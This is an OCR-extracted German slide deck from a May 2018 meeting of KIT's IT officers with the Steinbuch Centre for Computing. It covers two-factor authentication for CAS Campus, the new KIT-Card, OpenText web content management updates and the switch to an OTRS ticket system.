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IT-Beauftragten Versammlung
Partnerschaftliche Zusammenarbeit zwischen SCC und ITB

Agenda

Begriufung / Neues aus dem SCC
IT-Arbeitsplatz-Betreuung am KIT

Neues aus der Lehrunterstttzung

Die neue KIT-Card ist da!

Neuerungen im OpenText Web Site Management

Aktuelle Entwicklung KIT-Datenablage
Verschiedenes / Diskussion

15. ITB-Versammlung

SCC Ticketsystem — Ablosung des bisherigen Systems
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Begriuf3ung / Neues aus dem SCC

STEINBUCH CENTRE FOR COMPUTING - SCC
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SCC-Organisation — Mai 2018

SKIT

Karlsruher Institut fur Technologie

Ansprechpartner /
Querschnittsaufgaben

Offentlichkeitsarbeit

Achim Grindler

Steinbuch Centre for Computing

Direktorium

Stand Max 2018

Prof. Dr. Bernhard Neumair (GFD)

Digitales Informations-
management
Axel Maurer

Prof. Dr. Martin Frank

Dr. Martin NuRRbaumer

Sekretariat

Anja Muller

Finanzen und

Prof. Dr. Achim Streit

Administration

I L: Sabine Dusenberg

Scientific Data
Management

Scientific Computing
und Simulation

IT-Security und
Service-Management

Data Exploitation
Methods

L: Dr. Andreas Heiss

L: Dr. Olaf Schneider

L: Andreas Lorenz

L: Rainer Stotzka

Client-Management und
Kommunikationsdienste

Anwendungen, Middle-
ware und IT-Architektur

Informationssysteme
fir Studium und Lehre

Junior Research Group
Multiscale Biomolecular
Simulation

L: Dr. Torsten Antoni

KL: Dr. Martin NuBbaumer

KL: Dr. Martin NuBRbaumer

L: Dr. Alexander Schug

Netze und
Telekommunikation

Systeme und Server

Informationssysteme fir
Organisation und
betriebliche Ressourcen

Junior Research Group
Fixed-Point Methods for
Numerics at Exascale

L: Reinhard Strebler

L: Klaus Scheibenberger

L: Gerald Helck

L: Dr. Hartwig Anzt

Research Group
Management of
Complex I T-Systems

Research Group Distri-
buted and Parallel High
Performance Systems

Research Group Com-
putational Science and
Mathematical Methods

g e i i e e iy et

L: Prof. Dr. B. Neumair

L: Prof. Dr. A. Streit

L: Prof. Dr. M. Frank

L Laitung
KL= Kommissarische Leftung
X Absiaung / Research Group
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DEM - Data Exploitation Methods .ﬂ(".

Karlsruher Institut fur Technologie

Entwicklung neuer Methoden
und Software zur ErschlielSung
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SKIT

Programm Supercomputing & Big Data

u Data Life Cycle Lab Schllisseltechnologien

Scientific Data Services a Entwicklung von
. Forschungsdatenrepositorien
Data Repository s Metadaten Management
u Datenprovenienz
Metadata = Analyse und Visualisierung
Data

I|
1

i

i

= =

Metadata Data Archive
Storage

:
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Drittmittelprojekte -\X‘(IT

s Sonderforschungsbereich ,Episteme in Bewegung®, FU
Berlin

s INF-Projekt zum Aufbau der Forschungsdateninfrastruktur

» Gast-Projekt zur Analyse mittelalterlicher Handschriften und Episteme
frihneuzeitlicher Drucke Repository
s DARIAH-DE: BMBF — Europaische Infrastruktur fur die R
Kunst und Geisteswissenschaften ¢DARIAH-DE
s OCR-D: DFG - Koordinierungsprojekt zur e e
Weiterentwicklung von Verfahren der Optical Character
Recognition
a NFFA-Europe: EU — Dateninfrastruktur fir die OCR-D
Nanowissenschaften

s HGF Inkubator: Metadaten Plattform

r
4 nffa.eu

science foundries & fine analysis

15.1TB-Versammliung S\C Q Steinbuch Centre for Computing
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IT-Arbeitsplatz-Betreuung am KIT

STEINBUCH CENTRE FOR COMPUTING - SCC

KIT — Die Forschungsuniversitat in der Helmholtz-Gemeinschaft



IT-Arbeitsplatz-Betreuung am KIT '}\—‘(IT

m IT-Arbeitsplatz-Betreuung ist eines der IV-Governance Fokusthemen

a Strategiepapier erstellt
s Bestandsaufnahme (aktueller Status, Ressourcen, ...)

s Was leistet der Service?
Zustandigkeiten/Verantwortungen/Ansprechpartner? Abhangigkeiten in IV-
Gesamtarchitektur des KIT?

u Zielformulierung

s Wie soll sich das Angebot in den nachsten drei Jahren entwickeln?
s Umsetzung

s Was muss getan werden? Wie kommen wir dort hin?

» Nachster Schritt: Bedarfsfeststellung auf Ebene der Bereiche

\ Steinbuch Centre for Computing

15. ITB-Versammlung S C




IT-Arbeitsplatz-Betreuung am KIT '-\\—‘(IT
m  Was tun wir derzeit?

m Ausarbeitung der Strategie flr die IT-Arbeitsplatz-Betreuung
m Prozesse
m Technik

» Ressourcenfindung flr diesen Bereich
a Clientmanagement Technik
s Clientmanagement Service

=  Weiterentwicklung zentrale Management-Infrastruktur
m Bestandsaufnahme der IT-Infrastruktur in der Verwaltung

m Fokus auf Verwaltungseinheiten
a Integration IT-Arbeitspléatzen in die zentrale Infrastruktur
a Bedarfsgetrieben
a In bestehende Losungen

10 15. ITB-Versammlung S | Steinbuch Centre for Computing
7
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Karlsruher Institut fur Technologie

Zum Mithnehmen

m Lokale IT-Expertise unerlasslich

m Vereinheitlichung ist Grundvoraussetzung fur automatisierte Installation
und Softwareverteilung

m Dies gilt fir OS, Software und auch flr Hardware

m Unsere Basis: https://www.bw-pc.uni-freiburg.de/

15. ITB-Versammlung S Q Steinbuch Centre for Computing
S
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Neues aus der Lehrunterstltzung

- (Kurz-)Vorstellung ,,Informationssysteme fur Studium und Lehre*
- Einfihrung der Zwei-Faktor-Authentifizierung in CAS Campus

STEINBUCH CENTRE FOR COMPUTING - SCC

y

KIT — Die Forschungsuniversitat in der Helmholtz-Gemeinschaft



Informationssysteme fur Studium und Lehre ﬂ(".

Stand M= 2018

e e s e Steinbuch Centre for Computing
H Ansprechpartner /
i Querschnittsaufgaben

Direktorium Sekretariat

Offentlichkeitsarbeit

Achim Grindler

Prof. Dr. Bernhard Neumair (GFD) Anja Muller

Prof. Dr. Martin Frank

'Digitales Informations-
management
Axel Maurer

Dr. Martin NuRbaumer Finanzen und
Administration

Prof. Dr. Achim Streit

-

L: Sabine Dusenberg

Scientific Data Scientific Computing IT-Security und Data Exploitation
Management und Simulation Service-Management Methods
L: Dr. Andreas Heiss L: Dr. Olaf Schneider L: Andreas Lorenz L: Rainer Stotzka

Client-Management und Anwendungen, Middle- Informationssysteme dnl'::ggs;a rd'\iteScrgl:;:
Kommunikationsdienste ware und IT-Architektur flr Studium und Lehre

Simulation
L: Dr. Torsten Antoni KL: Dr. Martin NuBbaumer KL: Dr. Martin NuRbaumer L: Dr. Alexander Schug
Moo und Informationssysteme fir Junior Research Group
Telek o ikati Systeme und Server Organisation und Fixed-Point Methods for
RASaon betriebliche Ressourcen Numerics at Exascale
L: Reinhard Strebler L: Klaus Scheibenberger L: Gerald Helck L: Dr. Hartwig Anzt
Research Group Research Group Distri- Research Group Com-
Management of buted and Parallel High putational Science and
Complex I T-Systems Performance Systems Mathematical Methods e
L Laitung
L: Prof. Dr. B. Neumair L: Prof. Dr. A. Streit L: Prof. Dr. M. Frank KL Kommissarische Leftung

3 Absidung / Research Group
5 Funktion

bowaosa
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Informationssysteme fur Studium und Lehre ﬂ(".

Campus

ASERV-VIT

Team Studium+Lehre :
Hochschul
: il B Informations

B System eG

ILIAS

SCCat-DEI|
Team ILIAS

MOBILITY-ONLINE

14  17.05.2018 15. ITB-Versammlung ékcg Steinbuch Centre for Computing



Authentifizierung in CAS Campus ﬁ(".

Institut fur Technologie

Request

m Anmeldung an CAS Campus \1,
erfolgt Giber Shibboleth (nur) mit
KIT-Account und Passwort
a Single Sign On: Anmeldung
entfallt, wenn bereits am IdP

angemeldet wurde Shibboleth SP
m Verschllisselung samtlicher Web Server
Kommunikation tber SSL

(HTTPS)

Application Server

m CAS Campus (campus.kit.edu)

weltweit erreichbar (ohne VPN) SQL Database

15 17.05.2018 15. ITB-Versammlung

& Steinbuch Centre for Computing



SPIEGEL ONLINE DERSPIEGEL SPIEGELTV Q

— Menu| Politik Meinung Wirtschaft Panorama Sport Kultur Netzwelt Wissenschaft mehrw

LEBEN UND LERNEN Schlagzeilen | © Wetter | DAX13.014,49 | TV-Programm | Abo

Klausuren gehackt

Student soll mehr als 90-mal seine Noten verbessert haben

Ein Student in lowa soll sich Passworter von Uni-Dozenten erschlichen haben - um sich Zugang zu Klausuren
zu verschaffen und seine Noten zu verbessern. lhm drohen bis zu zehn Jahre Haft.

Donnerstag, 09.11.2017 1433 Uhr Drucken Mutzungsrechte Feedback

Trevor G. ist ehrgeizig. Der junge Wrestler wollte mehr aus seinem Leben machen
als nur Sport. Er entschied sich fur ein Studium an der University of lowa. Doch
leider waren seine Noten offenbar nie gut genug, seine Leistungen reichten einfach
nicht aus. G. wollte besser sein. Und weil er das durchs Lernen nicht schaffte,
kaufte er sich einen Keylogger. Das Gerat soll er heimlich an die Computer seiner

Quelle: http://www.spiegel.de/lebenundlernen/uni/usa-student-manipuliert-90-mal-seine-noten-fbi-ermittelt-a-1177148.html

16  17.05.2018 15. ITB-Versammlung ;Cj Steinbuch Centre for Computing



Zweil-Faktor-Authentifizierung in CAS Campus .\X‘(IT

m Strengere Auflagen des Datenschutzes im Rahmen der Erstellung des
Verfahrensverzeichnisses fur CAS Campus

m EinfUhrung der Zwei-Faktor-Authentifizierung fir CAS Campus:
Ab 2. Juli 2018

Fur alle Mitarbeiter-Zugange (aber nicht fir das Studierendenportal)
Funktioniert Gber Shibboleth, analog zu SAP ESS/MSS
http://www.scc.kit.edu/dienste/2fa.php

Benutzerkennung:

li4a202 209253
< - C | [ htips; '-:amles.ki'..edu| » Passwort: »

sssccess| Einloggen

Token code:

m Aktuell im Testsystem: https://campus-test.kit.edu

17 17.05.2018 15. ITB-Versammlung S C Q Steinbuch Centre for Computing
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Zweil-Faktor-Authentifizierung in CAS Campus '-\\—‘(IT

m Session-Timeouts

s CAS Campus ,pingt im Hintergrund jede Minute Web-Server an, damit
Session nach 60 Minuten Inaktivitat nicht auslauft

a Solange Web-Browser mit CAS Campus offen bleibt und
Netzwerkverbindung nicht getrennt wird, bleibt die Session bis zum
geplanten Neustart der Webserver (zwischen 3 - 4 Uhr nachts) offen

m Geplante Kommunikationskanéle
s Rund-E-Mail an alle Benutzer von CAS Campus
s Hinweisfenster nach Login in CAS Campus
s Erweiterung der Hilfe-Seiten unter htip://campus-help.kit.edu

m Hilfe?!
s Online-Hilfe: https://campus-help.kit.edu
s  Anwendersupport: support@sle.kit.edu

Technischer Support: campus-support@vit.kit.edu

15. ITB-Versammlung S Q Steinbuch Centre for Computing
S
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Die neue KIT-Card ist da!

STEINBUCH CENTRE FOR COMPUTING - SCC

KIT — Die Forschungsuniversitat in der Helmholtz-Gemeinschaft



KIT-Card Zeitplan

Beschaftigte
m 13.04.2018

s 11.05.2018

Studierende
m 29.05.2018
a 01.07.2018

20 15. ITB-Versammlung S C
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Inbetriebnahme PRIME
Migration der Mitarbeiter-Ausweisdaten aus ProAct
Start Einzelproduktion

Start Massenaustauschs

Start Einzelproduktion
Start Massenproduktion

\ Steinbuch Centre for Computing

=4



KIT-Card — Neue einzelne Mitarbeiterausweise ﬂ(".

Bild-Upload in my.scc.kit.edu

Konto Informationen

Bild fiir KIT-Card

Passwortdanderung
' '\Ddﬂgﬁs[gﬂhelznf Fiir die neue KIT-Card kann ein persdnliches Portrait hochgeladen werden. Dieses Bild muss folgende Minimalanforderungen
erfiillen:
| Bild fiir KIT-Card = Ausweisgerechtes & aktuelles Portraitbild im Hochformat
Tokenverwaltung = Mabe mindestens 260 x 346 Pixel

. . . = Ausreichende Scharfe
E-Mail-Weiterleitung \ . .
= GleichmaBiger Hintergrund

E-Mail-Alias = max. Dateigrofe 10M
Spammelder Die Bilder werden automatisch in das Seitenverhaltnis 3:4 beschnitten. Zudem erfolgt ein Beschnitt auf den Kopf durch die
. automatische Optimierung.
Hilfe
Das Bild kann bis zum Produktionsbeginn geidndert werden. Nach erfolgter Kartenproduktion werden Sie per E-Mail informiert
Kontakt und kdnnen Ihre KIT-Card am gewahlten Standort persdnlich abholen.

Abholung am

Campus Mord
® Campus Sid

Bildoptimierung

||| Bild ohne Optimierung ibernehmen

Bildloschung

Bild nach Aktivierung auch in diesem Portal |Gschen

d rierﬁq zieg’;’ @
21  17.05.2018 15. ITB-Versammlung ;Cj Steinbuch Centre for Computing




sruber Institut fir Technologie

KIT-Card — Neue (einzelne) Mitarbeiterausweise ==

Abholung

m Ausgabeorte
s CN: Anmeldung beim Haupttor
a CS: Einfahrtanmeldung (CSI) im EG des Bibliotheksgebaudes

a Ubertragung von Guthaben von alter auf neue Karte.
Autoupload muss neu beantragt werden (Service-Point des STW)

a Automatisierte Information
a Zeitwirtschaft

a Siport
= IDM

\ Steinbuch Centre for Computing

22 15. ITB-Versammlung S C
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KIT-Card — Informationen tUber Karte ﬂ(".

m Infomail (Sperrhinweise, Datenschutz, my.scc.kit.edu)
m Karteninformationen auf my.scc.kit.edu

SKIT

SCC - Self-Service-Portal |

Karlsruher Institut #0r Technologie

Konto Informationen

- Konto Informationen
Passwortanderung

* Meine Daten/ : : i : :
Diatenschsts Folgende Informationen sind zu Threm KIT-Konto gespeichert:

Bild fiir KIT-Card

1ail | KIT-Card
Tokenverwaltung = m
E-Mail-Weiterleitung Daten

Ausweisnummer

E-Mail-Alias
Spammelder St —
: dltiakei
Hilfe Gultigkeit
Chipnummer -
Kontakt

23
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KIT-Card — Tausch fur Mitarbeiter '}\-‘(IT

m Bild-Upload in my.scc.kit.edu
m Produktion der Karte
m Abhol-Informationen per-E-Malil

Abholung
m  Wichtig: Infomail (wg. Ausweisnummer) und Altkarte mitbringen!

m Neue Karte wird aktiviert, alte wird deaktiviert
m Alles Weitere wie bei Einzelproduktion

Deadline August 2019
m Einstellung Akzeptanz Mifare-Classic Geldbdrse im STW-Bezahlsystem

\ Steinbuch Centre for Computing
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Karlsruher Institut fur Technologie

KIT-Card — Ausweise fur neue Studierende

m Bild-Upload nach Immatrikulation

m Produktion der Karte
m Ausgabe und Aktivierung in Studentenhaus (Semesterbeginn/O-Phase)

Internationale Studierende
m Wie bisher Vorort-Produktion bei DE INTL

\ Steinbuch Centre for Computing

25 15. ITB-Versammlung S C
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Karlsruher Institut fur Technologie

KIT-Card — Tausch fur KIT-Studierende

Einzelproduktion und Ausgabe
m  Wie Mitarbeiter bei CSI im EG des Bibliotheksgebaudes
(nicht mehr bei SLE)

Massenproduktion

m Bild-Upload

m Produktion der Karte

m Aktivierung und Ausgabe bei CSI im EG des Bibliotheksgebaudes

Deadline August 2019
m Einstellung Akzeptanz Mifare-Classic Geldbdrse im STW-Bezahlsystem

\ Steinbuch Centre for Computing

26 15. ITB-Versammlung S C




KIT-Card — Zustandigkeiten und Kontakt

m Zustandig Kartenproduktion und -Ausgabe: AServ
m Zustandig far die IT

a 1. Dunker, U. Neumann, W. Sievers

m Zentrale Kontaktadresse: service@Kkitcard.kit.edu

27 15. ITB-Versammlung
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Blick hinter die Kulissen

STEINBUCH CENTRE FOR COMPUTING - SCC

KIT — Die Forschungsuniversitat in der Helmholtz-Gemeinschaft
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Entwicklungen im SCC '3\—‘(".

PRIME: HW-Infrastruktur und Software-Einftihrung

Datenbanken zur Kartenproduktion (provisioniert durch IDM) und
Karten(status)informationen

Karten(produktions)statusinformation als Datenbasis fir PRIME
Entwicklung fir Upload eigener Bilder
Migration/Import der aktiven Altkarten
Neue/angepasste Schnittstellen
s IDM mit Karten-Informationen
Autom. Update Zeitwirtschaft Interflex/SAP
Karten-Informationen fur SIPORT

Karten-Informationen fur BIB
BLB-Schnittstelle (Integration der neuen Karten)

Anpassungen der Web-Anwendungen mit Karteninformationen fir
ASERV-CSI / PSE (Integration der neuen Karten)

\ Steinbuch Centre for Computing
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Karlsruhe Institute of Technology

KITCard-bedingte Arbeiten an der KIT-Bibliothek
Uwe Dierolf, KIT-Library

KIT-BIBLIOTHEK
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Karlsruher Institut fur Technologie

KITCard-bedingte Arbeiten an der KIT-Bibliothek

m Nutzung der Mifare-Reader-Software des Teams um Frederic
Toussaint

s Neue Reader-Software fur Windows-Client (C#) und Linux-Clients (Java)
wurde entwickelt

» Unterstitzt diverse Mifare-Reader (HID, ACR, ZeitControl) und beide
Kartentypen (Classic und DESfire)

m Einsatz an dieser Software an der KIT-Bibliothek
m Tests wahrend des Entwicklungsprozesses

s Nutzung der Software an
u Ausleihstationen am KIT, HsKA, DHBW
u Fernleihautomat
w i3v-Library-Personalplatzen (Bibliothekssystem)
s Umbau und Austausch von ca. 30 Benutzerausweislesern (ACR)

m Softwareverteilung obiger Software

31 23.05.2018 Dipl.-Inform. Uwe Dierolf - KIT-Bibliothek S C \ Steinbuch Centre for Computing




SKIT

KITCard-bedingte Arbeiten an der KIT-Bibliothek

m Kooperation/Koordination mit Herstellern
a Bibliotheca
s Software-Upgrade der Ausleihstationen
m Tesco
s Software-Upgrade des Fernleihautomaten
s Gantner
u Schlie3facher im Keller der 24h-Bibliothek
s Firmware-Upgrade der RFID-Schldsser
s Software-Upgrade der Nutzerterminals

m Kooperation mit SCC
» I3v-Library-to-Siport-Anbindung fir beide Karten-Typen
s Format der Mifare-Seriennummern ist nicht identisch

a Kartentausch erfordert Rickmeldung der Kartendaten von der Software
der Personalisierungsstation ans Bibliothekssystem i3v-Library

32 23.05.2018 Dipl.-Inform. Uwe Dierolf - KIT-Bibliothek S C \ Steinbuch Centre for Computing




Projekt bwCard ﬂ(".

Karlsruher Institut fur Technologie

Topic 1 Topic 2
Fdderative Konzeption von
Zusammenarbeit Pilot-Anwendungen

Topic 3

Evalution einer
bw E-ID

AP 1.1
= AUfbau der
Fodderation

AP 2.1 AP 3.1

E Student Erweiterung der
Cl;:c(;pean el = Konzepte bwl|DM und

bwCard zu einer
digitalen E-ID

AP 1.2
Umsetzung der

AP 2.2

Produktions-
gemeinschaft

33 17.05.2018 15. ITB-Versammlung %CQ Steinbuch Centre for Computing
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Karlsruher Institut fiir Technologie

Neuerungen im OpenText Web Site Management

Neue rote Punkte?

STEINBUCH CENTRE FOR COMPUTING - SCC

ry;
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OpenText Web Site Management (WSM)

SKIT

Karlsruher Institut fur Technologie

tedu..

OPENTEXT
~Web Solutions

N

[fitern__]
Version 16

Direktes Login:

wsm6 wsm7 wsm8 wsm9 wsm10

Up-and-Away

starten

TU9

starten

Extern-PTKA-PRO-DL-A

starten

KIT-ARCH-EKUT-AM (KIT-
ARCH-FAM)

starten

KIT-ARCH-EKUT-GBL

starten

KIT-ARCH-IEB-BLM

KIT GLOBALE TEMPLATES

starten

TU9 test

starten

Extern-TU9 neu

starten

KIT-ARCH-EKUT-AT

starten

KIT-ARCH-EKUT-LAB

starten

KIT-ARCH-IEB-FEK

starten

Folgende 912 Projekte stehen lhnen zur Auswahl:

KIT Kopiervorlage

starten

Extern Junge Innovatoren

starten

KIT-ARCH-AKOMM

starten

KIT-ARCH-EKUT-AT-neu

starten

KIT-ARCH-EKUT-RAUM

starten

KIT-ARCH-IEB-FGB

starten

KIT Kopiervorlage (FD)

starten

Extern TU9

starten

KIT-ARCH-BFL

starten

KIT-ARCH-EKUT-BK

starten

KIT-ARCH-FAK neu

starten

KIT-ARCH-IEB-FGB alt

starten

Serverauswahl: | Server wahlen

KIT Vorlage
Schulungsprojekt

starten

Extern-PTKA-PF

starten

KIT-ARCH-EKUT

starten

KIT-ARCH-EKUT-DG

starten

KIT-ARCH-FBTA

starten

KIT-ARCH-IEB-FGT

starten

17.05.2018
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OpenText Web Site Management (WSM)

SKIT

Karlsruher Institut fur Technologie

OPENTEXT™ ‘ Web Site Management aomiNISTRATOR

4€ Einstellungen | &) Hilie | 5% Abmelden Q

Homepage SmartEdit SmartTree Asset Manager Aufgaben Suche Server Manager Panels ausblenden w
S| Startseite "

:]r_l Unser Profil

[T mitarbeiter Websit Ti

[ Forschung ebsite 1pps « 1/39 »
#1["| Studium und Lehre ‘ L .

r_ Startseite Einfithrung in das System

| [IIEEE Kurze Ubersicht

rl Email-Formular

- Schulung

Publizierung

Doku und Anleitungen
Navigation alleine publizieren

Publizierungen Dokumentation KIT-OE-Projekte
Keine aktiven Publizierungen (Version 4.0, Oktober 2016)

Formulargenerator

Tool Bildergalerien

ools KIT Gestaltungsrichtlinien
Freigabe persénlicher Daten (Personenseiten)
Defekte Link - -

Frerte binks OpenText Administration
AssetManager aktualisieren
Formulare
RSS-Feed
Seiten léschen

OpenText Administration

Projekteinstellungen und -
vorgaben

Projektvorgaben
Lokales Stylesheet
Autoren

C-WSM-01 | Benutzemame: uli | Projekt Schulung 2017-12-08 Admin | Sprachvariante: Deutsch | ® =

17.05.2018

15. ITB-Versammlung

C

Steinbuch Centre for Computing



WSM - neuer Asset Manager

SKIT

Karlsruher Institut fur Technologie

OPENTEXT™ | Web Site Management ADMINISTRATOR

Homepage

SmartEdit

" SmartlTree ~ Asset Manager

4 Einstellungen | g Hilfe |

-~
o Abmelden

Panels ausblenden

=i| | Startseite
4[| Unser Profi
| | Mitarbeiter

[} Forschung
#| | Studium und Lehre
| | Impressum

| | Email-Formular

@ Seite publizieren W Web-Vorschau @ Teaser auf

gﬂf’"_ﬁvaﬂ_l)l_ﬂenseite: bearbeiten [id=24]

ST

Karlsruher Institut for Technologie

Unterprofil

Mitarbeiter
Forschung

» Studium und Lehre
[Impressum]

[Email-Formular]

BildgroBe: 1024 x 1536

Speichern unter

Léschen

Herunterladen

4:3

Metadaten

Beliebig

Editor

‘ Alles verwerfen

Ausschneiden

Seitenverhaltnis

Benutzerdefiniert

Verwendung a

SchlieBen

Bildgréfe dndern
¥ Seitenverhaltnis beibehalten
1024 | x | 1536 | Pixel

Geschatzte DateigroBe: 2 MB

Blindtexte. Abgeschieden wohn

g

en s

7
ie in Buchstabhausen an der Kuste des Semantik, eines
arofien Snrachozeans. Fin kleines Richlein namens NDuden flieft durch ihren Ort und versorat =
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WSM - neuer Asset Manager

SKIT

Karlsruher Institut fur Technologie

OPENTEXT™ ‘ Web Site Management ADMINISTRATOR

4 Einstellungen | &) Hilfe | 5% Abmelden = Q

v Bui
B3 Noch ein Unterordner
[ Dokumente

E&] RedDot intern

05270046.jpg
1.024 x 1.536

@ Bid

W SmartEdit SmartTree [ Asset Manager Aufgaben rWanagen
Ordner Suche B Bilder
V:B“der Hochladen | | [&] Ordner erstellen ‘ Lascher
B3 ama

DSC_2193.UPG
1.024 x 685

@ Bid

dsc_1255_200px.JPG .
200 x 299
@ Bid

= DSC_2193_pano.JPG
1.014 x 252

@ Bid

h
DSC_2093.JPG
1.024 x 685

@ Bid DSC_9789_RAW.jpg
1.000 x 269
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WSM - neuer Asset Manager

SKIT

Karlsruher Institut fur Technologie

OPENTEXT™ ‘ Web Site Management AomINISTRATOR

(i = vy pm | R~ = | e sy i | T e ——
H SmartEdit SmartTree Asset Manager Aufgaben Suche Server Manager

omepage

4% Einstellungen | g Hilfe | 3% Abmelden | 5.cie |

BildgroBe: 685 x 1024 |

a |hirte.JPG ’0 Speichern unter

(
Loéschen Verwendung a.. Herunterladen SchlieRen

Metadaten Editor
Ausschneiden _— -
Seitenverhaltnis

' Beliebig © 11

) 4:3 ) 16:9

]
) Benutzerdefiniert |: :

‘ Anwenden H Abbrechen

BildgrdBe dndern
! Seitenverhaltnis beibehalten
| 685 ‘ﬂ 1024 | Pixel

Geschatzte DateigroBe: 465,8 KB

‘ Anwenden H Abbrechen \

Drehen

1 Links 90° ‘ Rechts 90° ‘

Spiegeln

1 Horizontal Vertikal ‘
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WSM - neuer Asset Manager

> Bilder

Hochladen [ Ordner erstellen Laschen Kopieren Verschieben

SKIT

Karlsruher Institut fur Technologie

1-12von 12 B

e Dateien hochladen

X

Dateien Attribute

Es wurden 4 Dateien zum Hochladen ausgewahit (2,4 MB)

- o

Dateien auswihlen |

Y

338 KB 1024685 X

v

DSC_0618.JPG 5696 KB 685x1024 ¥
05270 v
1.024
Q & n DSC_0891.JPG 5023KB  1024x685 X
v -
Py
H DSGC_1244. JPG 936,7KE  1024x685 ¥
Hochladen | Abbrechen |
e
40 17.05.2018 15. ITB-Versammlung

;CQ Steinbuch Centre for Computing



41

WSM — einziger Texteditor (CK-Editor)

SKIT

Karlsruher Institut fur Technologie

_Text
- — @ [@ || Stile ~ || MNormal
B I x x* I || =B = = MY {r 35
MmO 4 C) [¢) Quellcode | | ?
o D (3 Ll == =2 Q| Q%

‘& Bild bearbeiten [id=

Ll
[l
]

MEU: Eines Tages aber beschlof sine kleine Zeile Blindtext, ihr Mame war Lorem Ipsum,
hinaus zu gehen in die weite Grammatik. Der groBe Oxmox riet ihr davon ab, da es dort
wimmele von bdsen Kommata, wilden Fragehinterhaltigen Semikoli, doch das Blindtextchen
liel sich nicht beirren. Es packte seine sieben Versalien, schob sich sein Initial in den Giirtel
und machte sich auf den Weg.

| Als es die ersten Hiigel des Kursivgebirges erklommen hatte, warf es einen letzten Blick

i zurick auf die Skyline seiner Heimatstadt Buchstabhausen, die Headline von Alphabetdorf
und die Subline seiner eigenen StralBe, der Zeilengasse. Wehmitig lief ihm eine rethorische
Frage iiber die Wange, dann setzie es seinen Weg fort.

Unterwegs traf es eine Copy. Die Copy warnte das Blindtextchen, da, wo sie herkdme ware
sie zigmal umgeschrieben worden und alles, was von ihrem Ursprung noch Gbrig ware, sei
das Wort "und" und das Blindtextchen solle umkehren und wieder in sein eigenes, sicheres
Land zurickkehren.

17.05.2018
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OpenText Web Site Management (WSM)

Verflugbar seit 01. Mai 2018

Karlsruher Institut fur Technologie

Umschaltung auf neue Asset Manager erfolgt sukzessive

Spurbar schneller: Speedup 25%

Kontakt: webmaster@kit.edu
m S. Glas, M. Philipp, H. Reichert

15. ITB-Versammlung

S | Steinbuch Centre for Computing
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Karlsruher Institut fiir Technologie

SCC Ticketsystem — Ablosung des bisherigen
Systems

Einbezug der ITB

STEINBUCH CENTRE FOR COMPUTING - SCC

ry;
B/

’

KIT — Die Forschungsuniversitat in der Helmholtz-Gemeinschaft
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Karlsruher Institut fur Technologie

m Frontend/Formulare des bisherigen Ticketsystems wurden von einem
externen Dienstleister entwickelt und sind mittlerweile Gber 15 Jahre
alt.

Motivation

a Vermeintlich kleine Anderungen verursachen hohen Aufwand
(gewachsener Code).

m Das aktuelle Ticketsystem gilt allgemein bei Benutzern als nicht
einfach zu bedienen.

m Vereinfachung der Prozesse und Verschlankung des Systems.

m Vermeidung von Eigenentwicklungen. Stattdessen Nutzung von
Standards.

\ Steinbuch Centre for Computing
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Vorteile des OTRS Ticketsystems '3\—‘(".

OTRS ist sowohl als OpenSource — als auch als kommerzielle Version
verflugbar.

Standige Weiterentwicklung (neue Features, Bugfixes, Security
Patches) durch ein grof3es Entwicklerteam.

OTRS ist u.a. im Hochschulbereich weit verbreitet.
Kundenzugang uber ein integriertes Webportal.

Ticketerstellung, Ticketnachverfolgung und Ticketbearbeitung kénnen
Uber das Kundenportal erfolgen.

\ Steinbuch Centre for Computing
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Vorteile des OTRS Ticketsystems '-\\—‘(IT

m Anbindung an KIT IDM
s Kundendaten werden taglich mit IDM synchronisiert

m Anbindung an KIT-AD
a Keine lokale Verwaltung von Supportgruppen
» Mitgliedschaft in Supportgruppen wird Uber AD gesteuert

15. ITB-Versammlung S Q Steinbuch Centre for Computing
S



Anderungen 'ﬂ(".

m OTRS ist ein webbasiertes Open Source Ticketsystem, das im SCC
das bisherige System auf der Basis von BMC Remedy ablésen wird.

m Die bisherigen Wege zur Erstellung von Tickets bleiben grundsatzlich
erhalten, allerdings mit einigen Anderungen.
m Die Ticket-Erstellung tiber Sharepoint [1] entfallt.

m Das Erstellen, Lesen und Bearbeiten von Tickets kann im OTRS
Kundenportal erfolgen.

m Mittelfristig sollen alle KIT-Mitarbeiter selbst Tickets Uber das OTRS
Kundenportal erstellen kdnnen.

[1] https://team.Kit.edu/sites/scc-admin-tools/ticketsystem/sitepages/ticket-
erstellen.aspx

47 17.05.2018 15. ITB-Versammlung y Steinbuch Centre for Computing
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Anderungen A\-‘(IT

ITB und Nutzer kdnnen ihre selbst erstellten Tickets sehen, nicht aber
die Tickets ihrer Kollegen.

Vorlagen fur ITB (Service Requests) bleiben grundsatzlich erhalten.
Selten oder gar nicht genutzte Vorlagen werden entfernt. Einige
wenige Vorlagen werden fir alle Kunden verfligbar sein.

Die Speicherdauer von Service-Auftrdgen (= Service Requests) im
OTRS Ticketsystem wird verlangert auf 5 Jahre.

Die Authentifizierung erfolgt tber den KIT Shibboleth Identity Provider.

Die Autorisierung basiert auf der Mitgliedschaft in den entsprechenden
Gruppen im KIT-AD.

| Steinbuch Centre for Computing
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Karlsruher Institut fur Technologie

Datenschutz

a Die Anderung des Ticketsystems erfordert die Anpassung
m des Verfahrensverzeichnisses,
a der Dienstvereinbarung.

m Die Neufassung beider Dokumente liegt dem Datenschutz, PSE und
dem Personalrat vor.

m Das Verfahren wurde als datenschutzkonform bewertet.

\ Steinbuch Centre for Computing
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Ticketlubersicht ﬂ(“.

Karlsruher Institut fur Technologie

m Einstellungen Giinter Grein abmelden

Alle (&) | Offen (8) | Geschlossen (2)

scc# | TITEL | sTaTUS  ALTER ¥
6400011 TEST - Aulerordentliche Spermung KIT-Account - Sehr geehrie(r) Ginter { warten zur Erinnerung 5m
6400010 TEST - Frage zum OTRS System - Dieser Eintrag hat noch keine Artikel neu 2m
6400009 TEST - Anlegen eines Funktionspostfaches - Dieser Eintrag hat noch keing neu 10 m
6400007 Noch ein TEST - MNoch ein TEST offen 50d18h
6400006 Testmail - Test noch Postiix Konfiguration offen 50d 18 h
5400004 TEST - Wo bekomme ich Hilfe zur Benutzung des SCC Tickets... - TEST offen 50d18h

50 17.05.2018 15. ITB-Versammlung %CQ Steinbuch Centre for Computing



Ticketerstellung

SKIT

Karlsruher Institut fur Technologie

* Betreft. | Dies ist ein Demo-Ticket
# Texd: =
B I U &5 = i= E 2 E EE = d = % Q
Format - | Schriftat - | Groke ~ | A~ [- T,  Q dr 92

Dies ist ein Demo-Ticket|

Anlagen:

Ubermitteln

51 17.05.2018
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Ticketdetaillansicht

Dies ist ein Demo-Ticket

Giinter Grein — Dies ist ein Demo-Ticket
